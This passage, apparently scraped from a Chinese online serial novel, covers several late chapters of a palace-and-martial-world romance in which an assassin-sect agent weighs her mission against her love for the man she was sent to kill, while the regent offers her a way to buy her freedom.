李慎舒其人,深不可测,不会因她头痛煎熬,便卸下面具,出手相助。 何况,还能如何相助? 便是云瞒月和李慎舒合力,将顾怀瑾从大牢里劫出来,又能跑哪去?无量山还要不要了? 一山掌门,跑得了和尚,跑不了庙。 她怏怏地将那鸡汤接过来,油花子漂在上面打转,一点翠绿的葱末沉沉浮浮,她喝了一口。 桌子对面伸过来一只磨盘大的手,摊开:“姑奶奶,一桌子好菜,给双筷子。” 李慎舒沉默着退开。 南琼霜不耐地闭了闭眼,手往后一挥,一双筷子递到雾刀手边。 “说事儿。不是叫你坐这吃白饭的。” 雾刀翘着二郎腿,挑起一筷子肘子肉,对着烛光照了照,见那肉晶莹剔透,舌头都歪出嘴边: “我说,我说。有个新消息。” “那原先的疯子皇帝,也想杀那姓顾的。” 南琼霜兀地抬了眼。 “恨得牙痒痒呢,许是过了这么多天,终于回过味儿来了。”碗搁在桌上,雾刀整个头埋进米饭里,“说是又骗他,又辱他,又故意引女真人杀他。还专权,阴谋反他。”将所有东西急慌慌咽进喉咙,“天天在宁寿宫里头发狂呢,大闹,大骂,说什么‘猪狗狂贼,若不杀之,孤死不瞑目!’” 南琼霜复又撂下了筷子,靠在椅子里,好一会功夫没动。 “那摄政王是何意?” “看不出来。”雾刀沾了满脸饭粒子,咕噜一声吞咽下去,“姓李的心思可是真深,对朝中心腹,也不吐半个字。” 南琼霜疲惫地望着墙上灯影,没反应。 “不过。”雾刀忽地抬起脸来瞧她,“方才,他似乎往这边儿来啦。” 南琼霜眼珠动了半寸,怔住:“你说什么?” 雾刀:“摄政王……” 吴顺在大门外高声喊驾:“摄政王驾临菡萏宫——” 廊下小太监此起彼伏:“接——驾——” 庭院里所有的灯逐盏逐盏点亮,院中一瞬灯火通明。 南琼霜腾地一下站起身,错愕慌忙,手忙脚乱摸了摸鬓边珠钗,复又垂手站好。 雾刀立时消失了。 吱呀一声,隔扇花门大开。 一人迈步跨入,殿内静了片刻,最后那熟悉声音道:“都下去吧。” 其余宫人遂静默退下,轻轻阖了门。 灯影摇曳,门窗紧闭,金兽香炉旁紫烟萦绕,静得只闻那人脚步声。 由远及近。 太静了,太紧张,她垂着头几乎不敢细想。 一双螭纹嵌东珠云头履终于出现在视野中,两脚立稳。 “抬头。”那人命令。 南琼霜遂闭了闭眼,抬起长睫。 与他对视一瞬,就欲盖弥彰地偏开。 她确实盼着李玄白来找她。他来了,两人才能说上话,她才有机会探探他的口风。 可是,究竟如何说,如何做,她始终未想出来个章法。他来见她的次数又太少,她生怕一次失言,再无良机。 他真来了,她倒无措,不知如何开口好。 “傻站着干什么?”他自顾自拉过一张椅子,在她位子旁落座,去那东坡肘子里挑了一大块,见那肘子被人动过:“你这宫里进了人了?” 他忽地抬头,眉毛狠狠压眼,“谁?” 事到如今,她已经不必瞒他了:“我的教引。就好这一口吃,天天到我这讨饭。” 李玄白还当有贼人潜进她菡萏宫图谋不轨,闻言哦了一声,复去夹菜:“我给你吩咐这一桌子好菜,你是真不给我放在心上,还敢拿去喂狗。” 她磨磨蹭蹭地没主意,但怕再吞吞吐吐下去便露怯,强装冷静,坐到他身侧。 “怎么。”李玄白嚼得腮帮子鼓鼓囊囊,“我拿你们俩那点事将他一军,叫他失了帝心,恨上我了?” 南琼霜眉毛一蹙,笑得很嫌弃:“谁会因为确有其实的事被捅破而怨恨他人?做了就别怕人说。” 李玄白夹了个大虾元子在口中:“还不是个小心眼的。” “那是怎么。”李玄白不看她,埋头吃菜,“他下了狱,你怨恨我?” 南琼霜闭了闭眼,缓缓眼珠的涩痛:“没有。成王败寇,道理如此。” “那你是什么意思。”李玄白听得笑了,挑着眉梢睨她,“关了他,杀了他,你没意见?” 南琼霜抠着小银酒盏的花纹,没说话。 “你若是没意见,我可就不顾忌了。拖了这么久,谁都杀了,剩他一个,全为了你。” 李玄白复又仔仔细细地打量她神色。 她依旧垂着眼,面上半点情绪也无,长睫垂着,仿佛落雪的伞面。 她不说话。 李玄白笑了一声:“你真不求我?” “求你有用么。”此人是个蹬鼻子上脸的主,相识这么多日子,她是把他脾气摸透了,干脆连鼻子也不给他蹬,“摄政王怎是耳根子软的性子。事儿该怎样办,定然是怎样办,你心里有决断,旁人不可转圜,不必再问他人。” 李玄白叮叮当当敲着碗边,笑个不停。 “楚皎皎。”他摇着头念她这名字,念得宽纵又切齿,“你这般懂我,真不打算留在我身边?” “打算”。 她品出一丝余地——仿佛他松了口,有意问她的意见。 她咬着唇壁,斟酌半晌,挑了一个他最不可反抗的理由: “我能叫皇上心安么。顾怀瑾从前对我那般好,我还是一剑捅了他。我不是良善性子,再被爱也依然如此,枕侧人如此难以捉摸,你真放心?” 李玄白只是叹了口气,吊儿郎当地又夹了一只水晶饺子,“老实说,我就爱你捉摸不透。” 南琼霜心内震动,跟着哑口无言。 良久,殿内无人说话,唯有紫烟在殿柱间盘桓不绝。 他终于放下了碗,仰头望着烛火里阴影交叠的殿顶,手指搭着桌边敲着,一下一下: “今日来是想问问,你为何不心悦我,只喜欢那小子。” 南琼霜蹙了眉头,捻着帕子。 “我知道你也是个捉摸不透的性子,我们像。但正因我们太像——我才不能放心。” 她垂下眼,一字一字呢喃: “我见过父子反目,更见过夫妻成仇。所谓友谊,更是不必多言之物。说到底,缘分情分,浅薄脆弱,不能倚仗。是以,即便我们相像,我也无法信你。” “不如说,正是因为相像,才更明白,你我未必不会彼此背叛。” 她正正望进李玄白眼睛里去。 李玄白抱着肩膀,应是烛火照得太昏黄,他眼底竟有些微的红,一瞬不眨地,与她对望。 “但是,是见了他,我才知道,世上并非所有人,都如我见过的那些人一般。” 李玄白笑得很讥讽,呷了口酒:“你真信他?” 她知道他是笑她天真。 但她摇摇头:“常欺人者,惯疑人诈。常背人者,恒惧人叛。信世尽诳言,己必出口成诳,忧众皆负己,己必先行负人。人之本性,并无善恶之分,无非你信什么,是什么。” 她徐徐转着眼珠凝视他: “但人,怎么信,怎么做。” “所以。”她话还未吐出来,其实他已经懂了,转过头去苦笑,“我们这些只相信人之恶的人,并不能白头偕老。” “那他……”李玄白翘了二郎腿,五个指头在桌面上哒哒哒地敲,半晌,话没说下去,笑得有三分难堪。 “怀瑾不是这样的。即便经历了天山之祸,怀瑾依然更相信人之善。” 她望着满桌奇珍菜肴,深吸了一口气,声音仿佛喟叹: “其实,当年我骗他,骗得太容易。有一阵我当他是蠢,他过分轻信。” “后来才明白,诚实者轻信,良善者软弱,无私者痴情。” “他不骗人,故不疑我。他不害人,故少提防。他不用情爱谋求任何东西,因而也就想不到有人用情爱行刺。” “说来说去,并非我强人一头。”她轻轻嘲,“不过是欺负好人罢了。” 她低下头,摩挲着指上那颗他本命珠打成的戒指,一字一字轻得出离: “我已经欠他太多。” 李玄白忽地笑了,拄着下巴,弹了弹小酒盏,一点叮叮的响: “怎么,你这性子,也想着补偿了?” 她望着圆桌对面的边缘,李玄白其实已经不知她望着何处,她眼神已经是远烟般渺远: “这才是更不可思议的事。” “我同从前不一样了。” 她呢喃:“……怀瑾似乎改变了我。” “从前我是最不信情爱,不信人,连带着人与人之间所有情分都一概不信。只是有一天……”她垂下头,呆呆望着自己手掌,仿佛头一次见自己似的,“我忽然发现,我开始相信了。” 她茫然地重复一遍:“有些东西,不知什么时候……我开始相信了。” “或许有人是好的吧。或许爱可以相信。或许可以信任你的同僚。或许可以信任新门主。或许可以一辈子不被背叛,或许可以永远有一个彼此支撑之人。” 她眼睫里开始蓄了泪,望着远方,仿佛眼眸里蓄了两汪月色下的湖: “我不明白这是错是对,是犯傻还是天真,也不明白这是吉是凶。” “……但是我开始相信了。” “比起聪明、敏效、利己,我更愿意相信这些了。” “……因为怀瑾在我身边。发生过那么多事,常人难以忍受,可是怀瑾竟然全接纳了。……我不得不信。” “我相信他,相信他不会伤害我。因为是他,我才敢爱人。” “所以……” 余下的话,李玄白认为不必再听了。 他站起身来,抓起手旁的小酒盏,斟满酒,一饮而尽。 他们相爱,那就爱。他横插一脚,是自降身份,自取其辱。 他信手将那琉璃盏掷出去。 价值连城的琉璃盏跌进层叠帷纱中,碎成一地碴子,碎了也价值连城。 南琼霜被那一声炸响惊得回过神来。 却见摇曳灯烛间,李玄白绝身长立,孤傲无二,抱着肩膀,艳威睥睨。 “行了,不就是中意他么,磨磨叽叽的。” 他下巴朝圆桌上余下的饭菜扬了一圈,说: “把这些饭菜全吃了,明日我放人。” 南琼霜惊得张口结舌:“……你放人?” “放人。”李玄白重复了一遍,懒洋洋伸了个懒腰,朝她摆摆手,走到了门口: “他在京里待着,我嫌晦气。从今以后,叫他苦守无量山,永不能回京。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第182章 第182章 虫鸣啾啾,她拿过他手中酒盏,未待他喝,先抿了一口。 一样的闻着芳香,入口灼辣,轰轰烈烈地点燃了喉管。 她呛咳了一声,顾怀瑾在她背上轻轻拍着。 “他那个情人,最后,就是在这兰台被捕的。问她为什么来这,她说,这是她同我爹爹,最后一段好日子。” 话里的人,正是她此前半夜出去收尾灭迹的,紫睨堂主。 她垂下眼,转着他那个酒盏,没说话。 “自那以后,我爹爹下令封锁了兰台。”他笑着,理了理她的碎发,“所以,上一个来到这的人,还是七八年前的一个细作。” “人迹罕至的地方,害怕吗?” 她不知道心里是什么感受,可是山风好像忽然隔着衣裳,将她吹透了。 就算披 着他刚给她围上的披肩,也吹透了。 她沉默不语,长睫仿佛一双惊慌的蝶,扑扇着。 “不用怕。”他笑起来,将她揽过来。 她一时很想依赖他,顺势靠在他身上,恹恹拢紧了披肩。 “那细作前些日子,似乎已经死了。不知怎么,自己跌进了水里,没了命。” 他声音平静如常,似乎她的死,带不起一点波澜。 “不过,等父亲出关时,可能会很难过。” 山风携来一点枯叶的碎屑,吹在她裙摆的衣褶里,她将那枯叶拈出来,捏在指尖。 “为什么?”她轻轻道,“给我讲讲吧。” 他垂下眼睫。 满天繁星,凉风习习,她渐渐歪在他腿上,趴在他盘腿而坐的膝上。 顾怀瑾一下一下,哄孩子似的,在她背上轻拍着: “我娘是昆仑派掌门之女,当年,因为两家知根知底,议了亲。结果成婚之后,两人感情只好了几年,生下我哥哥后,两人便逐渐相看两厌。后来,我爹学成后下山云游,在山下市集里,又认识了一个女子。” “那女子美艳直爽,一身好功夫,路见不平,拔刀相助,我爹爹第一眼就爱上了她。然而她个性桀骜难驯,不论我爹爹如何苦求,始终不愿嫁予他做妾。于是我爹爹回山,对着我母亲说,要休妻。” “结果回了山,才发现,母亲已经又怀了我。我母亲哪里肯。为了这回事,闹得山上鸡飞狗跳,昆仑几乎与天山成仇,最后双方各退一步,说和离可以,但绝不容那女人做掌门夫人。” “事情到这,因为那女子不肯做小,两人原本只得一拍两散。” “这时候,她却怀了身孕。” 他拍着她的后背,声音悠悠: “形势瞬间变了。因着这个孩子,她不得不低了头,嫁入天山。” 她从未听过,极乐堂堂主为了办任务,竟然还为自己的目标怀了孩子。 “不久,不知为何,她小产了。” “我母亲原本以为,凭着她的两个孩子,凭着她背后的昆仑派,她的正妻之位无可动摇。不想,自从那女子小产后,我父亲如同被鬼上身了一般神魂颠倒,日日守在她床榻边,什么也不顾。” “等到那女子身体略微好些,我父亲便又对我母亲提了休妻。” “我母亲自小在昆仑派内娇惯着长大,哪里受过这种委屈,当机立断与我父亲和离了。走之前,连我们两个也没有带走,说是流着我父亲的血的东西,她连看也不想看一眼。” 他轻轻笑着,摊开手掌,看着自己承于母亲的肉身,漫不经心,仿佛说着别人的事。 “我和哥哥就这么被我母亲抛下了。哥哥还好些,至少还由她亲自教养了几年。我?我几乎没有关于她的记忆。便是有,也是她横着眉毛指着我鼻子,叫我‘随顾清尧的东西’。” 她这时方明白,顾怀瑾明明众口称赞,却为何被人冷落也往往忍下,有一个偏爱他的人,便抓住了,不肯松手。 “我父亲爱那女子,山上谁也没有办法。我母亲离了山,他很快就将那女子扶正了。那女子做了掌门夫人,长老们不愿意也得愿意。原本这样下去,风波也就平了。” 他拍着她背的手不知何时停了下来,语调恍惚,仿佛说着前世的事。 “可是,后来才发现,那女子,是个上山来的细作。她上山,本就是为杀我爹爹而来。” 悬崖下漆黑的层叠树影中,忽然响起两声撕心裂肺的鸟啼。 她睫毛颤了颤。 “甚至,”他讥诮笑了起来,“她身份暴露,不是因为杀了我爹爹。而是要下给我爹爹的毒,下给了我哥哥。” 紫睨堂主会犯这么简单的错误? “我哥哥死了。”他感慨,“各位长老喜爱他喜爱得不得了,他样样比我强多了。他死了,众长老哀恸极绝,我爹爹一病不起。但就算这样,也还是没忍心取那女子的性命,只是将她锁上了朝瑶峰。” 朝瑶峰。 她放在他胳膊上的手,缓缓抓紧了。 “但没想到,我那已经和离回了母家的娘亲,听闻我哥哥被毒杀,找了回来,逼我爹爹杀了那女子。” “可是,已经到了这地步,我爹爹仍是不肯杀她。只是,各方压力之下,迫不得已,将那女子打入了逝水牢。” “这般轻放,我娘亲哪里肯。刚上山没几天,丧子之痛叠加家破人亡之悲,活活在天山上气死了。” 她听得心惊肉跳,揉了揉太阳穴。 “自此,我父亲病倒,再也没起来,不得不闭关养病。你是不是以为爹爹闭关是为了武功大进?不是的。是他再不打坐调息,就活不了了。” “至于那女子……就一直关在逝水牢内。当日,爹爹本只想小惩大诫,关她三天。不想,就在逝水牢内,终此一生。” 她趴在他膝上,月亮忽然被山间云翳挡住了,夜色里,什么也看不清。 许久,她道,“那你呢?” “我?”他笑,摸了摸她的头,语气很轻快,“哥哥死了,娘亲死了,爹爹病重闭关,还有谁顾得上我,自然就在山里被慧德罚。” 他的家,他的过去,已经被往生门毁掉。 现在,往生门还要取他的未来。 她闭上眼睛,湿润的山风拂在身上,凉而薄,吹得她冷透了。 “那你……”她想了一瞬,没有问,换了个说法,“如果你碰到这种事,早该杀了她。” 沉默着,等他的反应。 他笑着,“我怎么会碰上这种事。皎皎担心我移情别恋?”手指绕着她的耳坠,叹息,“我简直一刻也离不了你。” 她握住他的手,不容他玩闹,长睫垂着:“我是说,假如你是顾掌门。” 他甚至不曾犹豫:“当然。我怎么可能留她。” 夜露深重,在她长睫上凝了一滴。 她睫毛一颤,那颗露水摔在他衣摆上,碎开了。 他仰起头。 浅紫色的云散去,夜空里复又一片清楚明朗,星星照耀着,他低低喟叹。 “……父亲总是太心软。我原本同他一样,事事心慈,但这些日子,因为你……”他食指在她颊上蹭了蹭,“因为你,才发觉,这样心善,是行 不通的。” 他低下头,呵护她似的,轻轻呢喃: “该处理的人,需得处理。该罚的人,得罚,该杀的人,得杀。不然……” 她听得默然,缓缓从他腿上起来,坐直了身子,两膝合并,避嫌似的躲开他的膝盖。 “……不然受苦的,是我的皎皎。” 他温柔拥住她,阖上眼,侧首在她额角一吻。 她麻木恹恹,面无表情,拢紧了身上的披肩。 “回去吧。”他道,“太凉,你该冷了。” * 明月阁内。 知道她喜欢吃荔枝,顾怀瑾特意着人从峰下送了新鲜的妃子笑上来,在八宝果盘里堆成了一个圆锥。 她自兰台回来,话也没有,神色也厌倦,脸白得如一张宣纸,即便看他一眼,也很快就瞥开。 他心里有点打鼓,哄猫儿似的揉揉她的脸:“怎么了,不大开心?” “没有。”她看向别处,由着他替她脱去披肩。 “怎么没有?”他捧起她的脸,追着她的眼睛,“别糊弄我。你一个眼神,我就知道你想什么。” 你能知道什么? 她勾起一丝微不可见的笑,偏过头,拨开了他的手。 不想面对他,什么都不愿想,但凡一想,每个念头都会刺伤自己。 脑子里装满了绣花针的时候,她喜欢眼睛一闭,睡觉。 她换了寝衣,翻进榻里,背对着他,蜷起膝盖:“困了,睡了。” “先别睡,再说说话吧。”顾怀瑾将墙角的连枝地灯一盏一盏点亮,又去窗前将窗纱四边按得紧了些,复坐回榻侧,俯下身子看她。 烛火一跃一跃,映得他眉骨鼻梁如玉石般立体,他拨了拨她的眼睫: “明天,我须得下山开会,不能在这陪你了。” 她背着烛火,神色看不分明:“嗯。” “你既然说,不必当日往返,那么,我也就不急着赶回来。” 他静静地,等她的答复。 她道:“嗯。” 他失望了。 她总是这样,似乎不见他也可以,没有他也行,有没有他,她都无动于衷。 他思忖了一刻,将丝被缓缓拉上来,覆到她下巴底下。 “山上最近事情多,闹得厉害。恐怕我一下去,要连着开好几天的会,没十天半月回不来。” 他继续期待着她给个答复。 她没说话,又“嗯”了一声。 他的长睫垂下来。 他不想再等了,心里空落落的,慌得厉害,也上了榻,从背后扣住了她的腰,双手搁在她小腹上交握。 “跟我去吧。”他闭上眼,在她长发上轻轻落吻,“跟我下朝瑶峰,回暮雪院住几天。陪我,嗯?” 她阖上了眼。烛火的光影在她漆黑的眼帘里惶惶跳动,变幻莫测,仿佛一个近在眼前的深渊: “我不去了,你自己去吧。” “自己在峰上,不是说害怕?”他抱着她,胸膛将她纤巧的脊背整个拥住,拨开了她的领子,一点一点,吻着她的肩,“只有两个下人,没人陪你,也没有人夜里给你盖被子,凉到了怎么办。听话。” 她不说话。 他心里也明白,不是怕她害怕,是他害怕。 “说话。”他被逼得没办法,吻她的脖子,“跟我下去,乖。” 她是喜欢他磨人的,但是,如今,她不知道放纵他这样低声细语地说情话,究竟对是不对。 这样走下去,前面是什么? “不去了。”她缩着脖子躲开他,却被他按进怀抱深处。 他听见她这三个字,在她颈侧轻咬起来:“不准。” “我不害怕。也没有那么容易着凉。” “不准。”他闭着眼睛,“你夜里总惊醒,睡得浅,我从前每晚要哄你好几遍。你自己不知道?” 她被吻得气喘了起来,被感官控制了后,人总是倦怠慵懒,“我可以不睡。” “你少说胡话。”她不爱惜自己,他最不爱听,每次立马就会恼,“叫人给你做些肉菜补补,不肯吃。明知道自己体寒,不在乎。眼下,连觉又可以不睡了,你是非要我……” 话不再说了,又开口咬她。 含恨的一排牙印。 这回,他咬得还比往常深了些,她一阵吃痛,嘶着气,“怎么总咬人呢……” “跟我下去。”他在她颈侧一吻,“你这性子,我不亲自看着,不放心。” 怎么这样磨人?她回过身看他。 一看,他语气虽然强势,眼神却忐忑含悲,逆着烛光,眼里格外亮,仿佛亟待人摸摸头的小狗。 怎么每次稍微冷落他一点,就这样惴惴难安的。 她默了片刻:“明天再说吧。” “皎皎,”他将她的脸掰过来,阖上眼,“吻我。” 身后连枝地灯的影子,随着烛火,在墙上左右摇摆。 她进退难决。 他闭上眼的样子,长睫翕垂,如面上停了一双蝶,脆弱而虔诚,她心里一颤。 吻了吻他:“睡吧,怀瑾。” 虽然是她先说要睡,可是整个夜里,几乎没有睡着。 她不知在枕头上辗转了多久,月亮自窗外冷冷照进来,照得早上还温暖亲切的一切——他在那里临摹的字帖,她搁在一旁的小毛衣,他随手放在桌上的红毛线——全都沉默森冷,凄凄可怖。 顾怀瑾睡着。他素来睡得比她好些,可是此前,她若醒了,他也会跟着醒。 今日,没发现她醒着,她暗自松了一口气。 她拥着衾被,缓缓坐了起来。 假如她继续拖延下去,还能拖多久? 往生门内,每个任务,有一年的期限。眼下不过刚刚快五个月,她还有一半的时间。 七个月,她说不定已经又摆脱了雾刀,自出山密道出了山。到时,固然是要与顾怀瑾诀别,可是他到底留下一命,已经是最好的、最理想的结局。 倘若不离开他呢? 忽然又想起那时紫睨的话。 “你最好的选择,是留在山上,借天山派庇佑,老老实实地做掌门夫人。” 这话,是不是她因为下毒而功亏一篑,之后的后悔之言? 只是,倘若真做了掌门夫人,天山派又能庇佑她到何种程度呢。 雾刀在山上都可以接任务,天山派的门禁自己挺引以为傲,实际或许已被往生门渗透了个干净。 倘若她一年之期以后,撕下面具,背靠天山派,公然背叛往生门,顾怀瑾自然是会护着她,可是往生门,江湖上人人闻风丧胆,天山派再保她,胜算也不过五分。 若是天山派输了,顾怀瑾一样要死,她落入往生门手里,死得只会比顾怀瑾凄惨千万倍。 假如……她不背叛往生门,背叛顾怀瑾。 阴阳钥在她手里,她随时可以拿到镇山玉牌。顾怀瑾依赖她到了一天见不到面就难受的地步,假如她想取他的命,自然是易如反掌。 如今,她来这里背的任务,对她而言,已经太容易。 只要她想,审录司内她的案卷上,第四个圈,随时可以画上。 只是。 她揉着眉心。 如此简单的事,现在她不愿意做。 她不愿仔细去想为什么,怕想明白了就不得不清醒,手指绕着丝被上的一个线头。 最好的办法,还是七个月内,找机会摆脱雾刀,然后不告而别。 她下山,他们天各一方。 雾刀的性子,她是了解的。要敷衍他七个月,她未必做不到。何况还未必需要七个月。 至于顾怀瑾。 他这样相信她,只要她安分守己,好好地演爱他,他几乎不可能怀疑到她身上来。 她打定了主意,捂着心口,长出了一口气。 他仍在熟睡,面朝着她,睡得安稳而平和,呼吸均匀悠长,阖着眼,像个安心的孩子。 顾怀瑾这么依赖她,等到他们分别,他不知要怎样。 她俯下身去,在他眼睫,轻轻落下一吻。 “哎唷,真够恶心的。” 雾刀的嘲弄在耳边响起来。深更 半夜的,只闻声,不见人,恶鬼一般的语调。 她听了他的声音就浑身发冷,汗毛直竖,哆嗦起来。 怎么这么巧。 正在她刚刚想着……背叛的时候。 “大半夜的,还没睡。怎么?晚上紫睨的故事,给你听辗转难眠啦?” 她平稳了一下呼吸。天塌下来,她也不会叫雾刀瞧出心虚: “你还没睡?正好,我有事情问你。前堂主怎么会把给顾清尧的毒下给了顾之?” 雾刀笑了一声: “她那药,是为顾清尧量身定做的。顾清尧年轻时曾经遭丹顶门暗算,侥幸捡回一条命以后,有点百毒不侵的意思。那毒,对于顾清尧,是慢毒,叫他日日虚弱下去;对于旁人,是剧毒,一口毙命。他们俩父子情深,爱一口口喂,谁有办法。” “可惜了,还剩下一个姓顾的。他爹爹似乎不怎么喜欢他。不然,一盘菜,没三个一起送走,至少也能送走俩。” 她垂下眼睛,望着熟睡的顾怀瑾,手指动了动。 “为什么非要用慢毒?前堂主尤擅用剑,顾清尧如此信她,她若一剑下去,也没有这些事了。” “那谁知道。”雾刀笑得更得意,“这种事,你得问她。不过,若由我来看,还能是因为什么啊?” 她没说话。 “那女的爱上他了呗。”雾刀笑,“这种事不是常有?因为爱上了,所以就算下手,也不忍叫他眼睁睁看见她背叛,想让他无所觉察地死。如果想停,还能停得下来,有回头路可走。拖着拖着,没等人死,自己先暴露了。” “所以,南琼霜,”他道,“你下手时,要么用剑,要么用你的丝线。其他的,我都算你叛门,别想给我耍花招。” 她闭了闭眼。 床榻另一侧酣睡的人,忽然张开了口:“……皎皎。” 她赶忙看去。 顾怀瑾没醒,只是说梦话。 连梦里,也把她的名字衔在唇边。 雾刀听了他的呢喃,笑了,“这男的是真栽你身上了,我跟着你这么多年,也没见过这么蠢的男人。”语调忽然一转,兴致勃勃,“你说,他若是知道,他爱得要死的那个人,根本没存在过,得是什么表情啊?” 南琼霜心里一凛。 她不是楚皎皎。这世界上,压根没有楚皎皎。 她不是不明白,不过自欺欺人,故意不明白。 “今天我来,还有第二件事。” 她一愣。 雾刀道:“情况有变,门内有新的任务,非要你去不可。这边的事,就先这样吧。” “什么叫‘就先这样’?”她皱眉。 “能办多少办多少,能到哪步算哪步。”他道,“没有镇山玉牌,就先算了。人能杀,先杀人。” “一个月后,订婚之夜,你杀了他,我们一同回往生门复命。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第183章【完结】 第183章 天未亮的时候,顾怀瑾孤身出了京城。 从前天子身侧帷幄重臣,圣眷隆盛,煊赫朝野,一朝失势,就落了个身无分文,驱逐出京的下场。 他在朝中虽有威望,百官却顾忌上头的摄政王,不敢相送。 顾怀瑾孤身一人去了渡口,上了船,离了京。 南琼霜困在宫里,雾刀一波波地来给她报信。他走了,出了府,上了马车;一个人到了渡口,一个人上了船。船儿摇摇,山水依依,他一个人隐入茫茫雾霭中,看不见了。 知道他不在这座城里,她觉得一切都没意思,一切都空落落的。这偌大的洛京城,再无她立锥之地。 摄政王的软禁令就此撤了,她不必日日困在菡萏宫里,得以去外面散散心。 只是,梧桐换影,威柄易主,连六宫粉黛都尽数入了感业寺,她在这紫禁城里,竟连个熟人也没有了。 太上皇的妃嫔,只她一个,仍留在紫禁城之中。 她和摄政王的事,外头早有流言蜚语,眼下更甚,连“坤宁宫已经拾掇出来,不日便要迎新主子”这种话,都传到了她耳朵里。 她原本就有些忐忑,流言满天,就更不安。 李玄白却始终并未说什么。 对她,一切如常。 这些日子,李玄白发了檄文,赦了天下,清了常顾余党,又组织翰林大学士,重修国史和起居注,忙得不可开交。初时,她全然见不到他人,后来日子一天天过去,事项一桩一桩落实,朝中日渐稳固下来,皇极门外再无强谏的老臣了,李玄白才偶尔来见她一面。 见了她,什么逼迫的话也不说,言笑晏晏地同她说朝中的乐子,偶尔回忆些天山上的事。 她猜不准他究竟是个什么意思。 杀嘉庆帝的收网令,至今仍未下来。 嘉庆帝如今是恨绝了顾怀瑾。最初的时候,他未全回过味来,日子久了,越想越气,据说,即便在笑乐园里打牌,都时不时指天骂地,唾沫飞溅地咒他一阵。 南琼霜听着这些消息,无比庆幸顾怀瑾已经离了京。 后来,又听说嘉庆帝头风发了,满院御医夤夜会诊,终也不能减轻三分。 那疯子复又涕泪满面地求李玄白召顾怀瑾回京。 李玄白哪里肯。 于是堂堂太上皇,在宁寿宫里上蹿下跳,歇斯底里,乱砸乱踹,乱砍乱劈。 南琼霜听说这疯子剧痛难当,生不如死,心里只有一种天道好轮回之感。 因后宫中唯有她一人,一派风平浪静,往生门的令也没有下,她终日无所事事,每日只在菡萏宫里浇浇花、在御湖上划划船,或者与李玄白下下棋。 后来有一天,她闲着无事,自己一人在海池上泛舟。 船行至湖心时,帘子一掀,竟是李玄白。 李玄白方下了朝,换了常服,一身深青锦袍——他如今不似从前鲜艳招摇了,收敛许多,入得船内,撩摆在她面前坐下,自顾自拣起一双筷子,拣她矮案上的清炒虾仁吃: “在这做什么呢。” 她恹恹摸着小酒盏:“正是无事可做,才来湖上散心。” 李玄白垂着眼,一面拣,一面道:“怎么,待得无聊了。” 她品出些试探滋味,默不作声地避过话锋。 李玄白拿她的小酒壶自斟了一盅:“可听说那疯子的事了。” “怎么?” 李玄白望着船篷外,端着 小酒盅细嗅着:“这阵子头风发得厉害,整天叫我把那姓顾的叫回来呢。我没应。”笑了一下,“谁知,这找死的东西,竟敢绕过我,偷着往无量山送信。” 南琼霜闻言抬眼望着他。 顾怀瑾不论如何不能再回京了,得罪了嘉庆帝,他处境已经太危险。 李玄白:“背着我发了好几封谕令。结果,那姓顾的,连封回信也无,打定了主意装死。那疯子更加火冒三丈,在宁寿宫里直哼哼呢。” 南琼霜扯了扯嘴角,心中道了一声活该。 “有一件事,我一直想问你。”她搁下了筷子,拄着太阳穴挑眉,“你同往生门,究竟是什么关系?” 李玄白夹着菜,笑着,没说话。 她道:“常达和太上皇的命,是你买的?” 湖水悠悠,一波一波拍击着船身。 日光从船蓬的缝隙里投到他脸上,印下一道白灿灿的光带。他眼睫被那光照得根根分明,望着水波潋滟,许久,桀骜一皱眉,笑了: “对。” 果然如此。 “那你同往生门……”她手指在酒盅的纹路上摸着,“老主顾?” 李玄白往嘴里搁了颗花生米,抱着肩膀:“对。” 怪不得。难怪往生门有如此本领,能将她一个身份不明之人插进清河谢氏中,一路送进紫禁城。 李玄白:“我早就知道你是往生门的人。那会儿,下了天山,要你来洛京寻我,你也没找。我想见你,反正那疯子身侧要安插一人,于是就点名要派你来。” 他漫声道,“给你安个谢德音的名字,可给我费了不少事。结果,大费周章地接你进了宫,你这没良心的,跟另一个男的跑了。” 明知她一颗心系在另一个男人身上,还这般留她在宫中。 她瞥他一眼,三分没好气,收回目光。 “那么,你究竟想何时收网?” 李玄白在那碟清炒虾仁里挑挑拣拣,虾仁全给她吃了,没说话。 良久,他闲闲道: “我有个问题要问你。” “宫变当日,紫宸殿内,你为何带人救我?” 南琼霜也拈筷子,在黄瓜炒蛋中夹了一遭: “不是你跟往生门下了令,要我护驾?” 李玄白搁了筷子,复又趾高气昂地抱着肩膀: “我的令,是要你来,不是他人。” 南琼霜拨着淡绿的黄瓜片,眉梢挑挑,没答话。 李玄白在对面弯着眉眼笑,船篷内光影纵横,他往后一靠,掩进阴影里,一双眼锐利惊人: “你明知若救我,姓顾的便不能大功毕成,怎么还带你们那个本事大的了不得的女人来救我?” 她依旧浑不在意地拨着菜,若无其事,拣了一团金黄的炒蛋放进口里。 “你怕我逃不出?”李玄白幽幽地笑。 她不答,懒懒吃着菜。 “你怕我死,宁可坏了姓顾的事,也要带着门主来救驾。”他笑得肩头耸动,“怎么,这么不想我死。不是爱那姓顾的吗?他允许?” 南琼霜手肘拄在小案上,拨着耳坠,搁下了筷子掀眼皮看他: “他是他,我是我。” 李玄白滞了片刻,似是讶异,忽而又捏着小酒盏笑个不停,一面呷酒,无可奈何地摇头。 她拈了小酒盏朝船外看去,湖面正是一片波光粼粼,她啜了一口: “这么多年,你帮的是我不是他。难道我帮你,还要他允许?” 李玄白笑得不能自已: “你不怕他不高兴?” 她眼神都未错,依旧望着渺远湖面,水光泛着波纹映在她脸孔上,她眉眼间一片雪光潋滟: “那怎么办?难道为哄他高兴,眼睁睁看着你死了?” 李玄白在小几对面,百感交集地笑了快半炷香,笑到她简直不明白他在笑什么,良久,终于曲着指节,叩叩矮几: “想赎身吗?” 南琼霜闻言转回眸光,一双眼睛在水的反光里凛冽惊人。 李玄白双眼已是锋锐如刀。 小船在湖面上颠簸一下。 他徐徐道: “我可以重金委托,叫你们往生门即刻放人。不过,你这性子,凡事喜欢亲手为之。听说你是往生门里办差最拼命的,想来,较之被人赎出,更想自己赎身出来。” “那是自然。”她缓缓眨眼,“我为了赎身这一刻,生死不顾地拼了十二年。” 李玄白却道:“但是,时局不稳,朝中仍有老臣作妖,那疯子还不能动。你若想亲自动手,至少还要在我这宫里待上三月。” 南琼霜顷刻垂了眼,水光波动里,她左右两难着沉默。 那么久,顾怀瑾只怕要整日胡思乱想。 他自己一个人,饭也无心吃,觉也睡不着。 李玄白看出她的踌躇,自然也明白她意思,一笑置之: 